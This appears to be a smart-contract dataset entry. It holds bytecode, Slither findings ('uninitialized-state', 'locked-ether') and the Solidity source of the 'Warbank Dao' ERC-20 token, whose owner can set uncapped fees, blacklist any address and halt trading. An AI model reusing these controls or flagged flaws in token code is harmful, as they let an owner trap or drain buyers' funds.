d5b50610360610b06565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103a0578082015181840152602081019050610385565b50505050905090810190601f1680156103cd5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b610427600480360360408110156103f157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610ba4565b604051808215151515815260200191505060405180910390f35b34801561044d57600080fd5b506104b06004803603604081101561046457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610bb9565b6040518082815260200191505060405180910390f35b3480156104d257600080fd5b50610515600480360360208110156104e957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610bde565b604051808215151515815260200191505060405180910390f35b60098054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156105c55780601f1061059a576101008083540402835291602001916105c5565b820191906000526020600020905b8154815290600101906020018083116105a857829003601f168201915b505050505081565b600081600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60085481565b6000808214156106d857600190506109d1565b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461081f5781600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561079457600080fd5b81600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055505b61082a848484610c84565b61083357600080fd5b81600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561087f57600080fd5b81600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555081600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055506000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600081548092919060010191905055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190505b9392505050565b601281565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610a3957600080fd5b6000821115610a8d576012600a0a8202600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b60018060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001905092915050565b60066020528060005260406000206000915090505481565b600a8054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610b9c5780601f10610b7157610100808354040283529160200191610b9c565b820191906000526020600020905b815481529060010190602001808311610b7f57829003601f168201915b505050505081565b6000610bb13384846106c5565b905092915050565b6007602052816000526040600020602052806000526040600020600091509150505481565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610c3a57600080fd5b81600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060019050919050565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480610d2f5750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b80610d875750600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b80610ddb5750600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15610de95760019050610e01565b610df38483610e08565b610dfc57600080fd5b600190505b9392505050565b600080600454148015610e1d57506000600254145b8015610e2b57506000600354145b15610e395760009050610ed8565b60006004541115610e95576004546000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410610e945760009050610ed8565b5b60006002541115610eb457816002541115610eb35760009050610ed8565b5b60006003541115610ed357600354821115610ed25760009050610ed8565b5b600190505b9291505056fea265627a7a72315820f26d81aa7af826f9ea5f14f793e35faf167fdc38f10d78c82f7bf6e89fc10ba564736f6c63430005110032
|
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
| 8,252 |
0x76ec32623a0e6a404dd576760ff3856966bfc341
|
/**
*Submitted for verification at Etherscan.io on 2022-03-15
*/
/*
https://t.me/warbankportal
https://warbankdao.com/
$WARBANK DAO
Roadmap on Website
1% Max Buy
6% Tax
2% Max Wallet
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract warbankdao is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Warbank Dao";
string private constant _symbol = "WARBANK";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 100000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redisFeeOnBuy = 2;
uint256 private _taxFeeOnBuy = 6;
uint256 private _redisFeeOnSell = 2;
uint256 private _taxFeeOnSell = 6;
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots; mapping (address => uint256) public _buyMap;
address payable private _developmentAddress = payable(0xFfd4FfD065182372117b0342b201DcF9e1C96866);
address payable private _marketingAddress = payable(0xFfd4FfD065182372117b0342b201DcF9e1C96866);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 1000000 * 10**9;
uint256 public _maxWalletSize = 2000000 * 10**9;
uint256 public _swapTokensAtAmount = 10000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
}
|
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f04614610559578063dd62ed3e14610579578063ea1644d5146105bf578063f2fde38b146105df57600080fd5b8063a2a957bb146104d4578063a9059cbb146104f4578063bfd7928414610514578063c3c8cd801461054457600080fd5b80638f70ccf7116100d15780638f70ccf71461044e5780638f9a55c01461046e57806395d89b411461048457806398a5c315146104b457600080fd5b80637d1db4a5146103ed5780637f2feddc146104035780638da5cb5b1461043057600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461038357806370a0823114610398578063715018a6146103b857806374010ece146103cd57600080fd5b8063313ce5671461030757806349bd5a5e146103235780636b999053146103435780636d8aa8f81461036357600080fd5b80631694505e116101ab5780631694505e1461027457806318160ddd146102ac57806323b872dd146102d15780632fd689e3146102f157600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461024457600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f7366004611954565b6105ff565b005b34801561020a57600080fd5b5060408051808201909152600b81526a57617262616e6b2044616f60a81b60208201525b60405161023b9190611a19565b60405180910390f35b34801561025057600080fd5b5061026461025f366004611a6e565b61069e565b604051901515815260200161023b565b34801561028057600080fd5b50601454610294906001600160a01b031681565b6040516001600160a01b03909116815260200161023b565b3480156102b857600080fd5b5067016345785d8a00005b60405190815260200161023b565b3480156102dd57600080fd5b506102646102ec366004611a9a565b6106b5565b3480156102fd57600080fd5b506102c360185481565b34801561031357600080fd5b506040516009815260200161023b565b34801561032f57600080fd5b50601554610294906001600160a01b031681565b34801561034f57600080fd5b506101fc61035e366004611adb565b61071e565b34801561036f57600080fd5b506101fc61037e366004611b08565b610769565b34801561038f57600080fd5b506101fc6107b1565b3480156103a457600080fd5b506102c36103b3366004611adb565b6107fc565b3480156103c457600080fd5b506101fc61081e565b3480156103d957600080fd5b506101fc6103e8366004611b23565b610892565b3480156103f957600080fd5b506102c360165481565b34801561040f57600080fd5b506102c361041e366004611adb565b60116020526000908152604090205481565b34801561043c57600080fd5b506000546001600160a01b0316610294565b34801561045a57600080fd5b506101fc610469366004611b08565b6108c1565b34801561047a57600080fd5b506102c360175481565b34801561049057600080fd5b5060408051808201909152600781526657415242414e4b60c81b602082015261022e565b3480156104c057600080fd5b506101fc6104cf366004611b23565b610909565b3480156104e057600080fd5b506101fc6104ef366004611b3c565b610938565b34801561050057600080fd5b5061026461050f366004611a6e565b610976565b34801561052057600080fd5b5061026461052f366004611adb565b60106020526000908152604090205460ff1681565b34801561055057600080fd5b506101fc610983565b34801561056557600080fd5b506101fc610574366004611b6e565b6109d7565b34801561058557600080fd5b506102c3610594366004611bf2565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105cb57600080fd5b506101fc6105da366004611b23565b610a78565b3480156105eb57600080fd5b506101fc6105fa366004611adb565b610aa7565b6000546001600160a01b031633146106325760405162461bcd60e51b815260040161062990611c2b565b60405180910390fd5b60005b815181101561069a5760016010600084848151811061065657610656611c60565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061069281611c8c565b915050610635565b5050565b60006106ab338484610b91565b5060015b92915050565b60006106c2848484610cb5565b610714843361070f85604051806060016040528060288152602001611da6602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111f1565b610b91565b5060019392505050565b6000546001600160a01b031633146107485760405162461bcd60e51b815260040161062990611c2b565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146107935760405162461bcd60e51b815260040161062990611c2b565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107e657506013546001600160a01b0316336001600160a01b0316145b6107ef57600080fd5b476107f98161122b565b50565b6001600160a01b0381166000908152600260205260408120546106af90611265565b6000546001600160a01b031633146108485760405162461bcd60e51b815260040161062990611c2b565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108bc5760405162461bcd60e51b815260040161062990611c2b565b601655565b6000546001600160a01b031633146108eb5760405162461bcd60e51b815260040161062990611c2b565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146109335760405162461bcd60e51b815260040161062990611c2b565b601855565b6000546001600160a01b031633146109625760405162461bcd60e51b815260040161062990611c2b565b600893909355600a91909155600955600b55565b60006106ab338484610cb5565b6012546001600160a01b0316336001600160a01b031614806109b857506013546001600160a01b0316336001600160a01b0316145b6109c157600080fd5b60006109cc306107fc565b90506107f9816112e9565b6000546001600160a01b03163314610a015760405162461bcd60e51b815260040161062990611c2b565b60005b82811015610a72578160056000868685818110610a2357610a23611c60565b9050602002016020810190610a389190611adb565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a6a81611c8c565b915050610a04565b50505050565b6000546001600160a01b03163314610aa25760405162461bcd60e51b815260040161062990611c2b565b601755565b6000546001600160a01b03163314610ad15760405162461bcd60e51b815260040161062990611c2b565b6001600160a01b038116610b365760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610629565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bf35760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610629565b6001600160a01b038216610c545760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610629565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d195760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610629565b6001600160a01b038216610d7b5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610629565b60008111610ddd5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610629565b6000546001600160a01b03848116911614801590610e0957506000546001600160a01b03838116911614155b156110ea57601554600160a01b900460ff16610ea2576000546001600160a01b03848116911614610ea25760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610629565b601654811115610ef45760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610629565b6001600160a01b03831660009081526010602052604090205460ff16158015610f3657506001600160a01b03821660009081526010602052604090205460ff16155b610f8e5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610629565b6015546001600160a01b038381169116146110135760175481610fb0846107fc565b610fba9190611ca7565b106110135760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610629565b600061101e306107fc565b6018546016549192508210159082106110375760165491505b80801561104e5750601554600160a81b900460ff16155b801561106857506015546001600160a01b03868116911614155b801561107d5750601554600160b01b900460ff165b80156110a257506001600160a01b03851660009081526005602052604090205460ff16155b80156110c757506001600160a01b03841660009081526005602052604090205460ff16155b156110e7576110d5826112e9565b4780156110e5576110e54761122b565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061112c57506001600160a01b03831660009081526005602052604090205460ff165b8061115e57506015546001600160a01b0385811691161480159061115e57506015546001600160a01b03848116911614155b1561116b575060006111e5565b6015546001600160a01b03858116911614801561119657506014546001600160a01b03848116911614155b156111a857600854600c55600954600d555b6015546001600160a01b0384811691161480156111d357506014546001600160a01b03858116911614155b156111e557600a54600c55600b54600d555b610a7284848484611463565b600081848411156112155760405162461bcd60e51b81526004016106299190611a19565b5060006112228486611cbf565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561069a573d6000803e3d6000fd5b60006006548211156112cc5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610629565b60006112d6611491565b90506112e283826114b4565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061133157611331611c60565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561138a573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113ae9190611cd6565b816001815181106113c1576113c1611c60565b6001600160a01b0392831660209182029290920101526014546113e79130911684610b91565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac94790611420908590600090869030904290600401611cf3565b600060405180830381600087803b15801561143a57600080fd5b505af115801561144e573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b80611470576114706114f6565b61147b848484611524565b80610a7257610a72600e54600c55600f54600d55565b600080600061149e61161b565b90925090506114ad82826114b4565b9250505090565b60006112e283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061165b565b600c541580156115065750600d54155b1561150d57565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061153687611689565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061156890876116e6565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115979086611728565b6001600160a01b0389166000908152600260205260409020556115b981611787565b6115c384836117d1565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161160891815260200190565b60405180910390a3505050505050505050565b600654600090819067016345785d8a000061163682826114b4565b8210156116525750506006549267016345785d8a000092509050565b90939092509050565b6000818361167c5760405162461bcd60e51b81526004016106299190611a19565b5060006112228486611d64565b60008060008060008060008060006116a68a600c54600d546117f5565b92509250925060006116b6611491565b905060008060006116c98e87878761184a565b919e509c509a509598509396509194505050505091939550919395565b60006112e283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111f1565b6000806117358385611ca7565b9050838110156112e25760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610629565b6000611791611491565b9050600061179f838361189a565b306000908152600260205260409020549091506117bc9082611728565b30600090815260026020526040902055505050565b6006546117de90836116e6565b6006556007546117ee9082611728565b6007555050565b600080808061180f6064611809898961189a565b906114b4565b9050600061182260646118098a8961189a565b9050600061183a826118348b866116e6565b906116e6565b9992985090965090945050505050565b6000808080611859888661189a565b90506000611867888761189a565b90506000611875888861189a565b905060006118878261183486866116e6565b939b939a50919850919650505050505050565b6000826118a9575060006106af565b60006118b58385611d86565b9050826118c28583611d64565b146112e25760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610629565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107f957600080fd5b803561194f8161192f565b919050565b6000602080838503121561196757600080fd5b823567ffffffffffffffff8082111561197f57600080fd5b818501915085601f83011261199357600080fd5b8135818111156119a5576119a5611919565b8060051b604051601f19603f830116810181811085821117156119ca576119ca611919565b6040529182528